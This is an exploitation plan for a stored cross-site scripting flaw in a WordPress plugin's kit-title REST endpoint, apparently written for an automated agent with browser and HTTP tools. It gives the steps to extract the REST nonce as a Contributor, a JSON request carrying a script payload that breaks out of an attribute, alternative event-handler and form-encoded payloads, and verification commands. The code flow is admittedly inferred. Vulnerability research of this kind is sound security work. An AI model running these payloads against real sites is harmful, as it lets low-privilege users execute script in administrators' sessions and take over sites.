Style Kits – Advanced Theme Styles for Elementor <= 2.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Kit Title

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Style Kits for Elementor plugin (version <= 2.5.0). The vulnerability allows authenticated users with Contributor-level permissions to inject malicious scripts via a specific REST API endpoint used for saving kit titles.

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting (XSS).
• ID: CVE-2026-6565.
• Location: REST API endpoint /wp-json/agwp/v1/tokens/save.
• Sink: The kit title is rendered in an admin context (likely a kit list or the Elementor editor interface) without proper escaping, specifically within an "admin attribute context" (e.g., title="..." or value="...").
• Cause: Insufficient sanitization of the title parameter during storage and missing escaping during output.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/agwp/v1/tokens/save
• Authentication: Contributor or higher. Contributors can access the REST API and typically have the edit_posts capability, which often suffices for kit-related operations in this plugin.
• Vulnerable Parameter: title (or a similar key representing the kit title in the JSON body).
• Preconditions:
  1. Plugin active on a WordPress site with Elementor.
  2. An attacker session with at least Contributor privileges.
  3. A valid wp_rest nonce for authentication to the REST API.

3. Code Flow (Inferred)

1. Entry: The plugin registers a REST route via register_rest_route('agwp/v1', '/tokens/save', ...) during rest_api_init.
2. Permission Check: The permission_callback likely checks for current_user_can('edit_posts') rather than manage_options, allowing Contributors access.
3. Processing: The callback function receives the WP_REST_Request. It extracts the title parameter from the request body.
4. Storage: The title is saved to the database (likely in wp_options as part of a kit configuration or as a custom post type ang_tokens meta). No sanitize_text_field or similar filter is applied effectively to block HTML tags.
5. Rendering: When an Administrator views the "Style Kits" dashboard or the Elementor editor, the plugin retrieves the stored title and echoes it inside an HTML attribute (e.g., <div title="[USER_INPUT]">) without using esc_attr().

4. Nonce Acquisition Strategy

The WordPress REST API requires a nonce for authenticated POST requests to prevent CSRF. The nonce must be for the action wp_rest.

1. Identification: The wp_rest nonce is standard for the WordPress REST API. It is usually localized into the wpApiSettings JavaScript object on admin pages.
2. Extraction Method:
   • Navigate to any admin page (e.g., /wp-admin/index.php) as the Contributor user.
   • Use the browser_eval tool to extract the nonce from the window object.
3. Specific JS Variable: window.wpApiSettings.nonce.

5. Exploitation Strategy

Step 1: Authentication

Login as a Contributor user.

Step 2: Nonce Retrieval

Execute browser_navigate to /wp-admin/ and then browser_eval("window.wpApiSettings.nonce").

Step 3: Payload Injection

Send a POST request to the vulnerable endpoint using the http_request tool.

• URL: https://[TARGET]/wp-json/agwp/v1/tokens/save
• Method: POST
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
  • Content-Type: application/json
• Body (Inferred JSON structure):

  {
    "title": "\"><script>alert('XSS_SUCCESS')</script>",
    "id": 0
  }
  

  Note: If id: 0 fails, a valid kit ID might be needed, but usually, saving a new token/kit uses 0 or omits the ID.

Step 4: Trigger XSS

Login as an Administrator and navigate to the Style Kits dashboard:
https://[TARGET]/wp-admin/admin.php?page=analogwp_templates (based on analogwp_templates slug in analogwp-templates.php).

6. Test Data Setup

1. Plugin: Install and activate "Style Kits – Advanced Theme Styles for Elementor" version 2.5.0.
2. Dependencies: Ensure Elementor is installed and activated (required by the plugin).
3. User: Create a user with the Contributor role.
4. Content: Create at least one "Style Kit" or "Token" if the endpoint requires an existing ID.

7. Expected Results

• Injection: The REST API returns a 200 OK or 201 Created response.
• Execution: When the Admin views the kit list, the payload "><script>alert('XSS_SUCCESS')</script> breaks out of the attribute and executes the JavaScript.
• Response Analysis: Check if the script appears unescaped in the page source of the admin dashboard.

8. Verification Steps

1. Check Database: Use WP-CLI to verify the stored value.
   • wp option get analog_tokens (or similar depending on storage choice).
   • Search for the payload: wp db query "SELECT * FROM wp_options WHERE option_value LIKE '%XSS_SUCCESS%'".
2. DOM Verification: After navigating to the settings page as Admin, use browser_eval to check if the alert was triggered or if the element exists:
   • browser_eval("document.body.innerHTML.includes('XSS_SUCCESS')").

9. Alternative Approaches

• Payload Contexts: If the "attribute context" is a value attribute inside an input, use:
  " onfocus="alert(1)" autofocus="
• REST Parameters: If the JSON body is not accepted, try standard POST data:
  action=save_token&title=<script>alert(1)</script> (Check if the endpoint falls back to $_REQUEST).
• Endpoint Variation: If /agwp/v1/tokens/save requires a specific ID, use GET /wp-json/agwp/v1/tokens first to list available IDs to overwrite.